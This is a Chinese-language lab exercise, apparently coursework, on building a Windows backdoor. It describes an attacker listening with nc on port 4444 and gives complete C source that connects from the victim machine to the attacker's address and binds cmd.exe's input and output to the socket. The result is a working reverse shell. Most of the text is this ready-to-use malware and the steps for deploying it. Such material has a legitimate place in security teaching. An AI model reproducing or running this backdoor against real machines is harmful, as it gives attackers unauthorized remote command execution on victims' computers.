实验要求
实现后门,参照winshell, portshell
要求:
- 实现远程cmdshell,见范例
提示:利用socket连接服务端,然后CreateProcess创建cmd进程,将输入输出都连接到socket
- socket连接服务端(sConnect)
- CreateProcess函数
参数STARTUPINFO si;
si.hStdInput = si.hStdOutput = si.hStdError = sConnect;
步骤
1.攻击机运行nc.exe监听4444端口
2.受害机运行后门程序,会连接攻击机的4444端口
3.此时攻击机得到受害机的cmd,可以对受害机进行控制
下面是运行在受害机的后门程序
分为两部分 创建套接字 创建cmd进程
这个后门程序的功能是在受害机创建socket,和cmd进程,然后把cmd进程的输入输出都关联到创建好的socket,然后将此socket与攻击机的4444端口连接,这样攻击机就可以get受害机的cmd了,可以执行命令
如攻击机输入 ipconfig—>攻击机4444端口—>受害机某端口52546—>受害机cmd进程—>受害机执行ipconfig命令—>执行结果—>受害机端口52546—>攻击机4444端口—>在攻击机显示结果
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32")
int main()
{
WSADATA wsaData;
SOCKET connSocket;
struct sockaddr_in hax;
WSAStartup(MAKEWORD(2, 2), &wsaData);
connSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
hax.sin_family = AF_INET;
hax.sin_port = htons(4444);//攻击机运行的nc监听的是4444端口
hax.sin_addr.s_addr = inet_addr("127.0.0.1");//攻击机ip
connect(connSocket, (SOCKADDR*)&hax, sizeof(hax));
char sendBuf[1024] = "连接上了";
send(connSocket, sendBuf, strlen(sendBuf), 0);
//创建进程
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)connSocket;//把cmd进程的输入输出关联到受害机的socket
CHAR commandLine[256] = "cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE,
0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(connSocket);
WSACleanup();
}